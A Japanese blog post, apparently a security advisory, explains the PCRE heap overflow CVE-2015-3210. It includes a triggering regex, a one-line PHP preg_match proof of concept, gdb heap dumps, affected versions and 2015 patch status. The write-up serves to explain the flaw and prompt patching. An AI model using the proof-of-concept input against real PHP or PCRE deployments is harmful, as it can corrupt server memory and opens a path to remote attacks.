【速報】ヤバい?問題ない?エンジニアが知っておくべき「PCRE Heap Overflow / CVE-2015-3210」
こんにちは、せーのです。今日は結構影響の大きそうな脆弱性についての詳細な説明と現時点での対応状況をお知らせ致します。
PCREライブラリとは
PCREライブラリというのは元々はPerlの正規表現と互換性のある正規表現を他の言語でも実現するために作られたライブラリで、現在はCentOSやFedora, RHEL等のLinux系のOSには標準でインストール出来る他、Apache,nginx等のミドルウェア、flash,mySql等のソフトウェア、PHP等このライブラリに依存しているパッケージは多く、システム構築をしたことのある方なら「error: pcre library is required」なんてエラーメッセージを見たことのある方もおおいのではないでしょうか。
どんな脆弱性?
今回の脆弱性は「CVE-2015-3210」という識別番号がついておりまして、内容としては「ヒープオーバーフロー」につながる脆弱性です。 PCREライブラリはC言語で実装されているのですが、正規表現処理compile_regex()を行う際に、mallocに割り当てられたサイズより大きなサイズが書きこまれてしまう、という脆弱性を使って任意のコードが実行できてしまう、というのが今回の脆弱性です。
具体例
もう少し具体的に見て行きましょう。今回の脆弱性は次のようなコードの実行時に引き起こされやすくなります。
/^(?P=B)((?P=B)(?J:(?P<B>c)(?P<B>a(?P=B)))>WGXCREDITS)/
どうでしょう。よくわかるような、わからないような。。。実際の言語で書くとどうなるでしょう。 上のコードを最新版のPHP5.6.9(PCRE 8.37を使用)で書くとこんな感じになります。
<?php preg_match("/^(?P=B)((?P=B)(?J:(?P<B>c)(?P<B>a(?P=B)))>WGXCREDITS)/","ADLAB",$arr); ?>
ちょっと見慣れた感じになりました。ではこれを実行したらこういう流れになります。
- PHPのpreg_match()関数がPCREのpcre_compile2リンカを呼ぶ
- pcre_compile2がcompile_regex()を呼び、まず正規表現の結果を格納するメモリサイズを計算する
- 計算したメモリアドレスにポインタを指定する
- pcre_compile2がもう一回compile_regex()を呼び、正規表現の実行結果を格納する
ここで最初に計算したメモリサイズより実際の実行結果の容量が大きくなってしまうわけです。 上のPHPコードをセキュリティ診断で有名なKali Linuxにて実行し、gdbを使ってヒープ領域の状態を見てみると次のようになっています。
============================================================== gdb php poc.php 9217 re = (REAL_PCRE *)(PUBL(malloc))(size); (gdb) x/10i $rip => 0x46f3cb <php_pcre_compile2+2187>: mov rdi,rbp 0x46f3ce <php_pcre_compile2+2190>: call QWORD PTR [rax] (gdb) x $rbp 0x97: Cannot access memory at address 0x97 ==============================================================
この結果から上のコードを実行した結果のメモリサイズは0x97 = 151バイトで、アドレスは0x1007480となります。では2回目のcompile_regexpの実行前と実行後で0x1007480から160バイトの内容を比べてみましょう。
2回目のcompile_regexpの実行前
============================================================== (gdb) x/160x 0x1007480 0x1007480: [0x45 0x52 0x43 0x50 0x97 0x00 0x00 0x00 0x1007488: 0x00 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x1007490: 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0x1007498: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074a0: 0x00 0x00 0x40 0x00 0x04 0x00 0x02 0x00 0x10074a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074b0: 0xd0 0x7a 0x00 0x01 0x00 0x00 0x00 0x00 0x10074b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074c0: 0x00 0x02 0x42 0x00 0x00 0x03 0x42 0x00 0x10074c8: 0x83 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074e8: 0x80 0x48 0xd8 0xf6 0xff 0x7f 0x00 0x00 0x10074f0: 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00 0x10074f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1007500: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1007508: 0x60 0x75 0x00 0x01 0x00 0x00 0x00 0x00 0x1007510: 0xff 0xff 0xff 0xff 0xff 0xff 0xff] 0xff 0x1007518: 0xa1 0x01 0x00 0x00 0x00 0x00 0x00 0x00 ==============================================================
2回目のcompile_regexpの実行後
============================================================== (gdb) x/160x 0x1007480 0x1007480: [0x45 0x52 0x43 0x50 0x97 0x00 0x00 0x00 0x1007488: 0x00 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x1007490: 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0x1007498: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074a0: 0x00 0x00 0x40 0x00 0x04 0x00 0x02 0x00 0x10074a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074b0: 0xd0 0x7a 0x00 0x01 0x00 0x00 0x00 0x00 0x10074b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x10074c0: 0x00 0x02 0x42 0x00 0x00 0x03 0x42 0x00 0x10074c8: 0x83 0x00 0x51 0x1b 0x73 0x00 0x00 0x00 0x10074d0: 0x02 0x85 0x00 0x45 0x00 0x01 0x73 0x00 0x10074d8: 0x00 0x00 0x02 0x83 0x00 0x22 0x85 0x00 0x10074e0: 0x07 0x00 0x02 0x1d 0x63 0x78 0x00 0x07 0x10074e8: 0x81 0x00 0x12 0x85 0x00 0x0c 0x00 0x03 0x10074f0: 0x1d 0x61 0x73 0x00 0x00 0x00 0x02 0x78 0x10074f8: 0x00 0x0c 0x78 0x00 0x12 0x78 0x00 0x22 0x1007500: 0x1d 0x3e 0x1d 0x57 0x1d 0x47 0x1d 0x58 0x1007508: 0x1d 0x43 0x1d 0x52 0x1d 0x45 0x1d 0x44 0x1007510: 0x1d 0x49 0x1d 0x54 0x1d 0x53 0x78] *0x00 0x1007518: *0x45 *0x78 *0x00 *0x51 0x00 0x00 0x00 0x00 ==============================================================
おわかりでしょうか。実行前は0x1007480から151バイト目にあたる0x1007510の7バイト目以降はデータはないのにも関わらず実行後は*に当たる部分がオーバーフロー、つまりデータが書き込まれています。今回の例では少なくとも5バイトはオーバーフローしていることになります。この脆弱性でヒープ領域に書き込まれた隣のフィールドに任意のデータを書き込むことができ、リモートによる攻撃が可能になる、というわけです。
対象となるバージョン
- PCRE 8.34以上
- PCRE2 10.10
2015/06/06(JST)現在の対応状況
PCREライブラリ
まずは根本原因であるPCREライブラリです。脆弱性は最新版であるPCRE8.37、PCRE2 10.10も対象となります。開発版ではPCRE, PCRE2共に修正されています。
Linux系OS
Arch Linuxはアップデートにて対応したようですが、他のLinux OSには対応した形跡が見られませんでした。debianのセキュリティページも特に動いているようには見えませんし、RHELのバグジラには「正規表現が原因のクラッシュはセキュリティ事象として取り扱わない」というようなコメントがあったり、なんか出足が遅い気がします。ヒープオーバーフロー自体が脆弱性としては軽い、と見られているのでしょうか。それともまだテスト段階なのでしょうか。
PHP
PHP Securityによると
OSのPCREライブラリがアップデートされていれて、それとリンクしたPHPなら安全です。(RHEL/Fedoraなど) PHP本体のバンドル版PCREは5月リリースで更新されています。つまり、バンドル版を使ったPHPの場合は最新リリース版のみ安全です!
ということなのですが、「RHEL/FedoraでPCREライブラリがアップデートされている」「PHPのバンドル版PCREのアップデートが脆弱性をfixしたものである」というものを見つけることが出来ませんでした。ですので伝聞レベルを出ませんが、最新版なら安全、とのことです。
まとめ
いかがでしたでしょうか。ちなみに上のコードですが「WGXCREDITS」じゃなくても「AAAAAAAAAA」でも構いません。要は10文字の文字列であればいいようです。 ちなみに今回はPCREのヒープオーバーフローについてでしたが、PCREはスタックオーバーフローにも脆弱性が報告されています。 もしユーザーに正規表現を許可しているサイトを運営されている方はもちろん、ユーザーリクエストをそのまま無処理で正規表現に突っ込むような実装をしているシステムも一旦内容を見なおしたほうが安全かと思います。